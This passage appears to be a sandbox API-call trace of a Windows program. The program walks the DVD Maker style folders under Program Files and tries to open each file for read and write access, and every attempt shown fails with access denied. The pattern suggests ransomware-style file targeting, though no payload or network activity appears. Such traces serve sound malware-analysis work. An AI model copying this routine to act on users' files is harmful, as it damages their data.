FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0104.135] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0104.135] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.137] GetLastError () returned 0x5 [0104.137] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0104.137] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0104.137] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.137] GetLastError () returned 0x5 [0104.137] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0104.137] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.138] GetLastError () returned 0x5 [0104.138] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0104.138] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.138] GetLastError () returned 0x5 [0104.138] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned 71 [0104.138] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.140] GetLastError () returned 0x5 [0104.141] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.144] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png") returned 71 [0104.144] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.144] GetLastError () returned 0x5 [0104.144] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png") returned 77 [0104.144] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.150] GetLastError () returned 0x5 [0104.150] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png") returned 68 [0104.150] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.150] GetLastError () returned 0x5 [0104.151] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png") returned 69 [0104.151] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.152] GetLastError () returned 0x5 [0104.152] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned 75 [0104.152] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.152] GetLastError () returned 0x5 [0104.152] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0104.152] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.153] GetLastError () returned 0x5 [0104.153] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push") returned 48 [0104.153] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*") returned 52 [0104.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.218] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png") returned 66 [0104.219] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.219] GetLastError () returned 0x5 [0104.219] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned 66 [0104.219] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.219] GetLastError () returned 0x5 [0104.219] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png") returned 81 [0104.219] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.220] GetLastError () returned 0x5 [0104.220] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png") returned 87 [0104.220] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.220] GetLastError () returned 0x5 [0104.220] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png") returned 82 [0104.220] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.221] GetLastError () returned 0x5 [0104.221] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png") returned 88 [0104.221] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.221] GetLastError () returned 0x5 [0104.221] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png") returned 79 [0104.221] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.221] GetLastError () returned 0x5 [0104.221] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png") returned 85 [0104.222] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.222] GetLastError () returned 0x5 [0104.222] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png") returned 57 [0104.222] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.222] GetLastError () returned 0x5 [0104.222] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png") returned 71 [0104.222] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.223] GetLastError () returned 0x5 [0104.223] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png") returned 62 [0104.223] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.223] GetLastError () returned 0x5 [0104.223] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png") returned 63 [0104.223] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.223] GetLastError () returned 0x5 [0104.223] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.226] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles") returned 54 [0104.226] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*") returned 58 [0104.226] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.362] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png") returned 72 [0104.362] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.363] GetLastError () returned 0x5 [0104.363] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png") returned 73 [0104.363] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.363] GetLastError () returned 0x5 [0104.364] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png") returned 67 [0104.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.364] GetLastError () returned 0x5 [0104.364] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png") returned 77 [0104.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.365] GetLastError () returned 0x5 [0104.365] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0104.365] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.365] GetLastError () returned 0x5 [0104.365] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0104.366] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.366] GetLastError () returned 0x5 [0104.366] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png") returned 88 [0104.366] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.366] GetLastError () returned 0x5 [0104.367] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0104.367] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.367] GetLastError () returned 0x5 [0104.367] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0104.367] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.367] GetLastError () returned 0x5 [0104.368] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0104.368] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.368] GetLastError () returned 0x5 [0104.368] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0104.368] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.498] GetLastError () returned 0x5 [0104.498] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0104.498] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.498] GetLastError () returned 0x5 [0104.498] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.501] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0104.501] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.528] GetLastError () returned 0x5 [0104.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp") returned 73 [0104.529] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.529] GetLastError () returned 0x5 [0104.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0104.529] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.529] GetLastError () returned 0x5 [0104.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp") returned 79 [0104.530] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.530] GetLastError () returned 0x5 [0104.530] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0104.530] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), 